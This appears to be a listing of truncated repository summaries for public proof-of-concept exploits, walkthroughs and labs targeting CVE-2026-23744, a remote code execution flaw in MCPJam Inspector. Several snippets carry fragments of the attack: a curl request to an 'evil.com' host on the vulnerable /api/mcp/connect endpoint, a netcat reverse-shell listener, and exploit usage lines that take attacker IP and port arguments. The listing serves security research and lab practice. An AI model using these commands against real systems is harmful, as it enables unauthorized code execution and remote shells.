CVE-2026-23744-PoC

Description MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Sinc...

DevHub-HTB-Walkthrough

DevHub – Walkthrough de HTB Medium Linux Máquina: DevHub Dificultad: Media SO: Linux Temas: CVE-2026-23744, Túnel Chisel, Jupyter, Flask API, Escalada de privilegios de root 📌 1. Reconocimiento nmap -sC -sV devhub.htb Resultado: Puerto 22 SSH Puerto 80 HTTP Puerto 6274 MCPJam Inspector 📌 2. Ajust...

CVE-2026-23744-PoC

CVE-2026-23744-PoC Poc sobre vulnerabilidad en MCP Server. automatizado para la parte del post con el cuerpo correcto. path vulnerable: /api/mcp/connect metodo por curl: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

CVE-2026-23744

CVE-2026-23744 Descripción MCPJam inspector es una plataforma de desarrollo local-first para servidores MCP. Las versiones =1.4.2 son vulnerables a una vulnerabilidad de ejecución remota de código, que permite a un atacante enviar una solicitud HTTP manipulada que desencadena la instalación de un...

CVE-2026-23744

CVE-2026-23744 CVE-2026-23744 RCE While analyzing this vulnerability, I discovered that MCPJam Inspector exposed the /api/mcp/connect endpoint to the network by binding to 0.0.0.0. This endpoint accepts a JSON object containing serverConfig, including the fields command and args. The application...

CVE-2026-23744-MCPJam-Exploit

CVE-2026-23744 MCPJam Inspector RCE Exploit ⚠️ AVISO LEGAL Esta herramienta es SOLO para pruebas de seguridad autorizadas y fines educativos. El uso no autorizado es ilegal. Los usuarios asumen toda responsabilidad por sus acciones. 📋 Resumen Este repositorio contiene una prueba de concepto del...

mcpjam-cve-2026-23744-validator

Validador de Seguridad Autorizado de MCPJam Inspector Un validador de prueba de concepto acotado para CVE-2026-23744 que afecta a implementaciones vulnerables de MCPJam Inspector. Este proyecto es una herramienta de validación independiente y no destructiva para el CVE-2026-23744 previamente...

CVE-2026-23744

CVE-2026-23744 MCPJam inspector Remote-Code-Execution: Proof Of Concept POC usage: python3 cve-2026-23744.py --target https:// --att-ip --att-p...

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 Una vulnerabilidad crítica de ejecución remota de código RCE en MCPJam Inspector 3. Iniciar el exploit python3 CVE-2026-23744.py -u -i -p 4. Para un mejor uso recomiendo actualizar la terminal a una completamente funcional, de lo contrario no podrás...

CVE-2026-23744-RCE

MCPJam Inspector v1.4.2 - RCE Exploit Vulnerability Description MCPJam Inspector contains an unauthenticated Remote Code Execution RCE vulnerability in the /api/mcp/connect endpoint. The vulnerability allows attackers to execute arbitrary commands by sending a malicious MCP server configuration...

mcpjam-to-root

⚠️ Disclaimer This repository is intended for authorized security research, penetration testing, and educational purposes only. Do not use the techniques described here against systems without explicit authorization. ⚡ MCPJam → Root From MCPJam Inspector RCE to root — CVE-2026-23744, JupyterLab...

CVE-2025-49596-PoC

CVE-2026-23744-PoC PoC automatizado para CVE-2026-23744 RCE en el inspector MCPJam anterior a la versión 1.4.2 en objetivos Linux Cómo usar use netcat to run listener on any port like 9002. nc -nvlp 9002 use the automation like this python3 CVE-2025-49596.py https://mcpjam-server.com...

MCPJam Inspector - Remote Code Execution

MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...

CVE-2026-23744

CVE-2026-23744: Unauthenticated Remote Code Execution in @mcpjam/inspector DISCLAIMER: This repository and the associated scripts are intended solely for authorized security assessments, penetration testing, security research, and educational analysis. Unauthorized testing of systems without...

mcpExec

mcpExec es una herramienta que aprovecha el CVE-2026-23744 para obtener una reverse shell usando la URL de la instalación vulnerable de MCPJam Inspector. Instalación git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip...

CVE-2026-23744-PoC

CVE-2026-23744-PoC Disclaimer: This proof-of-concept is provided exclusively for authorised security research, educational purposes, and controlled lab environments e.g., HTB, CTF, or internal penetration testing with explicit written consent. Unauthorised use against any system without permissio...

PoC-CVE-2026-23744

PoC-CVE-2026-23744 Remote Code Execution on MCPJam Inspector Reference https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6...

CVE-2026-23744-Remote-Code-Execution-POC

CVE-2026-23744 - MCPJam inspector Remote-Code-Execution: Proof Of Concept POC MCPJam inspector 3. Run the exploit python3 exploit.py...

CVE-2026-23744-Lab

CVE-2026-23744 – MCPJam Inspector Docker Lab This repo is a tiny Docker lab to compare a vulnerable vs patched build of MCPJam Inspector for CVE-2026-23744. It’s meant for learning and for building a public security portfolio: quick setup, clear evidence, and screenshots. ⚠️ Ethics / scope : Only...

exploit-CVE-2026-23744

exploit-CVE-2026-23744 MCPJam Inspector is a local-first development platform for MCP servers. In versions 1.4.2 and earlier, a RCE flaw lets attackers send crafted HTTP request that installs an MCP server and runs code remotely, because the service listens on 0.0.0.0 instead of 127.0.0.1 by...